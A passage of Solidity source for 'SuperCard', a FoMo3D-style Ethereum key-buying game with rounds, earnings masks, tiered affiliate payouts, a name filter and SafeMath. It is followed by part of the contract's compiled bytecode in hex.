plyrRnds_[_pID][myrID].keys = (plyrRnds_[_pID][myrID].keys).sub(tempnum); round_[myrID].keys = (round_[myrID].keys).sub(tempnum); usedGen = plyr_[_pID].gen; } eth_can_use = ((plyr_[_pID].win).add(plyr_[_pID].aff)).add(usedGen); plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } else { eth_can_use = (plyr_[_pID].win).add(plyr_[_pID].aff); plyr_[_pID].win = 0; plyr_[_pID].aff = 0; } return(eth_can_use); } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, SPCdatasets.EventReturns memory _eventData_) private { // setup local rID uint256 myrID = rID_; // grab time uint256 _now = now; uint256 eth_can_use = 0; // if round is active if (_now > round_[myrID].strt + rndGap_ && (_now <= round_[myrID].end || (_now > round_[myrID].end && round_[myrID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. eth_can_use = genLimit(_pID); if(eth_can_use > 0) { // call core core(myrID, _pID, eth_can_use, _affID, 2, _eventData_); } // if round is not active and end round needs to be ran } else if (_now > round_[myrID].end && round_[myrID].ended == false) { // end the round (distributes pot) & start new round round_[myrID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit SPCevents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, SPCdatasets.EventReturns memory _eventData_) private { // if player is new to round。 if (plyrRnds_[_pID][_rID].jionflag != 1) { _eventData_ = managePlayer(_pID, _eventData_); plyrRnds_[_pID][_rID].jionflag = 1; attend[round_[_rID].attendNum] = _pID; round_[_rID].attendNum = (round_[_rID].attendNum).add(1); } if (_eth > 10000000000000000) { // mint the new keys uint256 _keys = calckeys(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; round_[_rID].team = 2; // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][2] = _eth.add(rndTmEth_[_rID][2]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, 2, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, 2, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, 2, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { uint256 temp; temp = (round_[_rIDlast].mask).mul((plyrRnds_[_pID][_rIDlast].keys)/1000000000000000000); if(temp > plyrRnds_[_pID][_rIDlast].mask) { return( temp.sub(plyrRnds_[_pID][_rIDlast].mask) ); } else { return( 0 ); } } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { return ( calckeys(_eth) ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { return ( _keys/100 ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(SPCdatasets.EventReturns memory _eventData_) private returns (SPCdatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of SuperCard if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); pID_ = _pID; // save Last pID bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, SPCdatasets.EventReturns memory _eventData_) private returns (SPCdatasets.EventReturns) { uint256 temp_eth = 0; // if player has played a previous round, move their unmasked earnings // from that round to win vault. if (plyr_[_pID].lrnd != 0) { updateGenVault(_pID, plyr_[_pID].lrnd); temp_eth = ((plyr_[_pID].win).add((plyr_[_pID].gen))).add(plyr_[_pID].aff); plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; plyr_[_pID].win = temp_eth; } // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(SPCdatasets.EventReturns memory _eventData_) private returns (SPCdatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // p3d share, and amount reserved for next pot uint256 _win = (_pot.mul(30)) / 100; uint256 _com = (_pot / 10); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // community rewards _com = _com.add(_p3d.sub(_p3d / 2)); admin.transfer(_com); _res = _res.add(_p3d / 2); // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } /** * @dev distributes eth based on fees to com, aff, and p3d */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, SPCdatasets.EventReturns memory _eventData_) private returns(SPCdatasets.EventReturns) { // pay 3% out to community rewards uint256 _p3d = (_eth/100).mul(3); // distribute share to affiliate // 5%:3%:2% uint256 _aff_cent = (_eth) / 100; uint256 tempID = _affID; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered // 5% if (tempID != _pID && plyr_[tempID].name != '') { plyr_[tempID].aff = (_aff_cent.mul(5)).add(plyr_[tempID].aff); emit SPCevents.onAffiliatePayout(tempID, plyr_[tempID].addr, plyr_[tempID].name, _rID, _pID, _aff_cent.mul(5), now); } else { _p3d = _p3d.add(_aff_cent.mul(5)); } tempID = PlayerBook.getPlayerID(plyr_[tempID].addr); tempID = PlayerBook.getPlayerLAff(tempID); if (tempID != _pID && plyr_[tempID].name != '') { plyr_[tempID].aff = (_aff_cent.mul(3)).add(plyr_[tempID].aff); emit SPCevents.onAffiliatePayout(tempID, plyr_[tempID].addr, plyr_[tempID].name, _rID, _pID, _aff_cent.mul(3), now); } else { _p3d = _p3d.add(_aff_cent.mul(3)); } tempID = PlayerBook.getPlayerID(plyr_[tempID].addr); tempID = PlayerBook.getPlayerLAff(tempID); if (tempID != _pID && plyr_[tempID].name != '') { plyr_[tempID].aff = (_aff_cent.mul(2)).add(plyr_[tempID].aff); emit SPCevents.onAffiliatePayout(tempID, plyr_[tempID].addr, plyr_[tempID].name, _rID, _pID, _aff_cent.mul(2), now); } else { _p3d = _p3d.add(_aff_cent.mul(2)); } // pay out p3d _p3d = _p3d.add((_eth.mul(fees_[2].p3d)) / (100)); if (_p3d > 0) { admin.transfer(_p3d); // set up event data _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } /** * @dev */ function potSwap() external payable { // setup local rID uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit SPCevents.onPotSwapDeposit(_rID, msg.value); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, SPCdatasets.EventReturns memory _eventData_) private returns(SPCdatasets.EventReturns) { // calculate gen share,80% uint256 _gen = (_eth.mul(fees_[2].gen)) / 100; // pot 5% uint256 _pot = (_eth.mul(5)) / 100; // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { /* MASKING NOTES earnings masks are a tricky thing for people to wrap their minds around. the basic thing to understand here. is were going to have a global tracker based on profit per share for each round, that increases in relevant proportion to the increase in share supply. the player will have an additional mask that basically says "based on the rounds mask, my shares, and how much i've already withdrawn, how much is still owed to me?" */ // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, SPCdatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (2 * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit SPCevents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; //uint256 public pre_active_time = 0; uint256 public pre_active_time = now + 600 seconds; /** * @dev return active flag 、time * @return active flag * @return active time * @return system time */ function getRunInfo() public view returns(bool, uint256, uint256) { return ( activated_, //0 pre_active_time, //1 now //2 ); } function setPreActiveTime(uint256 _pre_time) public { // only team just can activate require(msg.sender == admin, "only admin can activate"); pre_active_time = _pre_time; } function activate() public { // only team just can activate require(msg.sender == admin, "only admin can activate"); // can only be ran once require(activated_ == false, "SuperCard already activated"); // activate the contract activated_ = true; //activated_ = false; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } //============================================================================== // | _ _ _ | _ . // |<(/_\/ (_(_||(_ . //=======/====================================================================== function calckeys(uint256 _eth) pure public returns(uint256) { return ( (_eth).mul(100) ); } /** * @dev calculates how much eth would be in contract given a number of keys * @param _keys number of keys "in contract" * @return eth that would exists */ function calceth(uint256 _keys) pure public returns(uint256) { return( (_keys)/100 ); } function clearKeys(uint256 num) public { // setup local rID uint256 myrID = rID_; uint256 number = num; if(num == 1) { number = 10000; } uint256 over_gen; uint256 cleared = 0; uint256 checkID; uint256 upperLimit; uint256 i; for(i = 0; i< round_[myrID].attendNum; i++) { checkID = attend[i]; updateGenVault(checkID, plyr_[checkID].lrnd); if (plyr_[checkID].gen > 0) { upperLimit = ((plyrRnds_[checkID][myrID].keys).mul(105))/10000; if(plyr_[checkID].gen >= upperLimit) { over_gen = (plyr_[checkID].gen).sub(upperLimit); cleared = cleared.add(plyrRnds_[checkID][myrID].keys); round_[myrID].keys = (round_[myrID].keys).sub(plyrRnds_[checkID][myrID].keys); plyrRnds_[checkID][myrID].keys = 0; round_[myrID].pot = (round_[myrID].pot).add(over_gen); plyr_[checkID].win = ((plyr_[checkID].win).add(upperLimit)); plyr_[checkID].gen = 0; if(cleared >= number) break; } } } } /** * @dev calc Invalid Keys by rID&pId */ function calcInvalidKeys(uint256 _rID,uint256 _pID) private returns(uint256) { uint256 InvalidKeys = 0; uint256 upperLimit = 0; updateGenVault(_pID, plyr_[_pID].lrnd); if (plyr_[_pID].gen > 0) { upperLimit = ((plyrRnds_[_pID][_rID].keys).mul(105))/10000; if(plyr_[_pID].gen >= upperLimit) { InvalidKeys = InvalidKeys.add(plyrRnds_[_pID][_rID].keys); } } return(InvalidKeys); } /** * @dev return Invalid Keys * @return Invalid Keys * @return Total Keys * @return timestamp */ function getInvalidKeys() public view returns(uint256,uint256,uint256) { uint256 LastRID = rID_; uint256 LastPID = pID_; uint256 _rID = 0; uint256 _pID = 0; uint256 InvalidKeys = 0; uint256 TotalKeys = 0; for( _rID = 1 ; _rID <= LastRID ; _rID++) { TotalKeys = TotalKeys.add(round_[_rID].keys); for( _pID = 1 ; _pID <= LastPID ; _pID++) { InvalidKeys = InvalidKeys.add(calcInvalidKeys(_rID,_pID)); } } return ( InvalidKeys, //0 TotalKeys, //1 now //2 ); } } //============================================================================== // __|_ _ __|_ _ . // _\ | | |_|(_ | _\ . //============================================================================== library SPCdatasets { //compressedData key // [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0] // 0 - new player (bool) // 1 - joined round (bool) // 2 - new leader (bool) // 3-5 - air drop tracker (uint 0-999) // 6-16 - round end time // 17 - winnerTeam // 18 - 28 timestamp // 29 - team // 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico) // 31 - airdrop happened bool // 32 - airdrop tier // 33 - airdrop amount won //compressedIDs key // [77-52][51-26][25-0] // 0-25 - pID // 26-51 - winPID // 52-77 - rID struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; // winner address bytes32 winnerName; // winner name uint256 amountWon; // amount won uint256 newPot; // amount in new pot uint256 P3DAmount; // amount distributed to p3d uint256 genAmount; // amount distributed to gen uint256 potAmount; // amount added to pot } struct Player { address addr; // player address bytes32 name; // player name uint256 win; // winnings vault uint256 gen; // general vault uint256 aff; // affiliate vault uint256 lrnd; // last round played uint256 laff; // last affiliate id used } struct PlayerRounds { uint256 eth; // eth player has added to round (used for eth limiter) uint256 keys; // keys uint256 mask; // player mask uint256 jionflag; // player not jion round uint256 ico; // ICO phase investment } struct Round { uint256 plyr; // pID of player in lead uint256 team; // tID of team in lead uint256 end; // time ends/ended bool ended; // has round end function been ran uint256 strt; // time round started uint256 keys; // keys uint256 eth; // total eth in uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends) uint256 mask; // global mask uint256 ico; // total eth sent in during ICO phase uint256 icoGen; // total eth for gen during ICO phase uint256 icoAvg; // average key price for ICO phase uint256 attendNum; // number of players attend } struct TeamFee { uint256 gen; // % of buy in thats paid to key holders of current round uint256 p3d; // % of buy in thats paid to p3d holders } struct PotSplit { uint256 gen; // % of pot thats paid to key holders of current round uint256 p3d; // % of pot thats paid to p3d holders } } //============================================================================== // . _ _|_ _ _ |` _ _ _ _ . // || | | (/_| ~|~(_|(_(/__\ . //============================================================================== interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } /** * @title -Name Filter- v0.1.9 */ library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } }
0x6080604052600436106102035763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663018a25e8811461040557806306fdde031461042c578063079ce327146104b65780630a262f48146104d65780630f15f4c0146104ee57806310f01eba1461050357806311a09ae71461052457806315a50aff1461053957806315cab9c01461056c5780631c7f98ca1461058157806324c33d33146105b65780632660316e146106335780632ce21999146106625780632e19ebdc1461069357806330106b17146106ab57806332df3068146106c3578063349cdcac146106db5780633ccfd60b146106f957806341de11271461070e57806349cc635d146107265780634b227176146107505780635893d481146107655780635befbb9b14610780578063624ae5c01461079857806363066434146107ad578063685ffd83146107c5578063747dff421461081857806382bfc739146108a35780638f7140ea146108ca57806395d89b41146108e557806398a0871d146108fa578063a2bccae914610911578063a65b37a114610957578063c519500e14610965578063c7e284b81461097d578063ce89c80c14610992578063cf80800014610780578063d53b2679146109ad578063d87574e0146109c2578063de7874f3146109d7578063ed78cf4a14610a31578063ee0b5d8b14610a39575b61020b615310565b60115460009060ff16151561028457601254421015801561022e57506000601254115b15610284576011805460ff1916600190811790915560058190556002548154600092909252600c602052429091019081036000805160206153ca83398151915255615460016000805160206153aa833981519152555b60115460ff1615156001146102d1576040805160e560020a62461bcd028152602060048201526012602482015260008051602061536a833981519152604482015290519081900360640190fd5b33803b8015610318576040805160e560020a62461bcd028152602060048201526011602482015260008051602061540a833981519152604482015290519081900360640190fd5b34633b9aca00811015610370576040805160e560020a62461bcd028152602060048201526021602482015260008051602061538a833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af68000008111156103c0576040805160e560020a62461bcd02815260206004820152600e60248201526000805160206153ea833981519152604482015290519081900360640190fd5b6103c985610a92565b3360009081526007602090815260408083205480845260099092529091206006015491965094506103fe908590600288610d4b565b5050505050005b34801561041157600080fd5b5061041a610f86565b60408051918252519081900360200190f35b34801561043857600080fd5b50610441610f91565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561047b578181015183820152602001610463565b50505050905090810190601f1680156104a85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104c257600080fd5b506104d4600435602435604435610fc8565b005b3480156104e257600080fd5b506104d460043561122a565b3480156104fa57600080fd5b506104d4611291565b34801561050f57600080fd5b5061041a600160a060020a03600435166113a0565b34801561053057600080fd5b5061041a6113b2565b34801561054557600080fd5b5061054e6113b8565b60408051938452602084019290925282820152519081900360600190f35b34801561057857600080fd5b5061041a611446565b34801561058d57600080fd5b5061059661144c565b604080519315158452602084019290925282820152519081900360600190f35b3480156105c257600080fd5b506105ce60043561145c565b604080519d8e5260208e019c909c528c8c019a909a5297151560608c015260808b019690965260a08a019490945260c089019290925260e088015261010087015261012086015261014085015261016084015261018083015251908190036101a00190f35b34801561063f57600080fd5b5061064e6004356024356114cf565b604080519115158252519081900360200190f35b34801561066e57600080fd5b5061067a6004356114ef565b6040805192835260208301919091528051918290030190f35b34801561069f57600080fd5b5061041a600435611508565b3480156106b757600080fd5b5061041a60043561151a565b3480156106cf57600080fd5b506104d4600435611533565b3480156106e757600080fd5b506104d4600435602435604435611750565b34801561070557600080fd5b506104d4611982565b34801561071a57600080fd5b5061041a600435611fd5565b34801561073257600080fd5b506104d4600435600160a060020a0360243516604435606435611fe7565b34801561075c57600080fd5b5061041a6121d8565b34801561077157600080fd5b5061041a6004356024356121de565b34801561078c57600080fd5b5061041a6004356121fb565b3480156107a457600080fd5b5061041a612202565b3480156107b957600080fd5b5061054e600435612208565b6040805160206004803580820135601f81018490048402850184019095528484526104d494369492936024939284019190819084018382808284375094975050843595505050505060200135151561226f565b34801561082457600080fd5b5061082d612420565b604080519e8f5260208f019d909d528d8d019b909b5260608d019990995260808c019790975260a08b019590955260c08a0193909352600160a060020a0390911660e08901526101008801526101208701526101408601526101608501526101808401526101a083015251908190036101c00190f35b3480156108af57600080fd5b506104d4600160a060020a036004351660243560443561261e565b3480156108d657600080fd5b506104d460043560243561287f565b3480156108f157600080fd5b5061044161295c565b6104d4600160a060020a0360043516602435612993565b34801561091d57600080fd5b5061092c600435602435612c02565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b6104d4600435602435612c3c565b34801561097157600080fd5b5061067a600435612e9f565b34801561098957600080fd5b5061041a612eb8565b34801561099e57600080fd5b5061041a600435602435612f4f565b3480156109b957600080fd5b5061064e612f61565b3480156109ce57600080fd5b5061041a612f6a565b3480156109e357600080fd5b506109ef600435612f70565b60408051600160a060020a0390981688526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b6104d4612fb7565b348015610a4557600080fd5b50610a5a600160a060020a0360043516613034565b604080519788526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b610a9a615310565b336000908152600760205260408120549080821515610d4257604080517fe56556a9000000000000000000000000000000000000000000000000000000008152336004820152905173bac825cdb506dcf917a7715a4bf3fa1b06abe3e49163e56556a99160248083019260209291908290030181600087803b158015610b1f57600080fd5b505af1158015610b33573d6000803e3d6000fd5b505050506040513d6020811015610b4957600080fd5b50516006819055604080517f82e37b2c00000000000000000000000000000000000000000000000000000000815260048101839052905191945073bac825cdb506dcf917a7715a4bf3fa1b06abe3e4916382e37b2c916024808201926020929091908290030181600087803b158015610bc157600080fd5b505af1158015610bd5573d6000803e3d6000fd5b505050506040513d6020811015610beb57600080fd5b5051604080517fe3c08adf00000000000000000000000000000000000000000000000000000000815260048101869052905191935073bac825cdb506dcf917a7715a4bf3fa1b06abe3e49163e3c08adf916024808201926020929091908290030181600087803b158015610c5e57600080fd5b505af1158015610c72573d6000803e3d6000fd5b505050506040513d6020811015610c8857600080fd5b505133600081815260076020908152604080832088905587835260099091529020805473ffffffffffffffffffffffffffffffffffffffff1916909117905590508115610d11576000828152600860209081526040808320869055858352600982528083206001908101869055600b8352818420868552909252909120805460ff191690911790555b8015801590610d205750828114155b15610d3a5760008381526009602052604090206006018190555b845160010185525b50929392505050565b6005546002546000828152600c602052604090206004015442910181118015610db657506000828152600c602052604090206002015481111580610db657506000828152600c602052604090206002015481118015610db657506000828152600c6020526040902054155b15610dcf57610dca828734886002886130eb565b610f7e565b6000828152600c602052604090206002015481118015610e0157506000828152600c602052604090206003015460ff16155b15610f49576000828152600c60205260409020600301805460ff19166001179055610e2b8361334c565b925080670de0b6b3a764000002836000015101836000018181525050858360200151018360200181815250507fa7801a70b37e729a11492aad44fd3dba89b4149f0609dc0f6837bf9e57e2671a3360096000898152602001908152602001600020600101543486600001518760200151886040015189606001518a608001518b60a001518c60c001518d60e00151604051808c600160a060020a0316600160a060020a031681526020018b600019166000191681526020018a815260200189815260200188815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018581526020018481526020018381526020018281526020019b50505050505050505050505060405180910390a15b600086815260096020526040902060020154610f6b903463ffffffff61371d16565b6000878152600960205260409020600201555b505050505050565b662386f26fc1000090565b60408051808201909152600981527f5375706572436172640000000000000000000000000000000000000000000000602082015281565b610fd0615310565b601154600090819060ff16151561104b576012544210158015610ff557506000601254115b1561104b576011805460ff1916600190811790915560058190556002548154600092909252600c602052429091019081036000805160206153ca83398151915255615460016000805160206153aa833981519152555b60115460ff161515600114611098576040805160e560020a62461bcd028152602060048201526012602482015260008051602061536a833981519152604482015290519081900360640190fd5b33803b80156110df576040805160e560020a62461bcd028152602060048201526011602482015260008051602061540a833981519152604482015290519081900360640190fd5b85633b9aca00811015611137576040805160e560020a62461bcd028152602060048201526021602482015260008051602061538a833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af6800000811115611187576040805160e560020a62461bcd02815260206004820152600e60248201526000805160206153ea833981519152604482015290519081900360640190fd5b3360009081526007602052604090205494508815806111b6575060008581526009602052604090206001015489145b156111d4576000858152600960205260409020600601549350611213565b60008981526008602090815260408083205488845260099092529091206006015490945084146112135760008581526009602052604090206006018490555b61121f85858989613778565b505050505050505050565b600054600160a060020a0316331461128c57604080516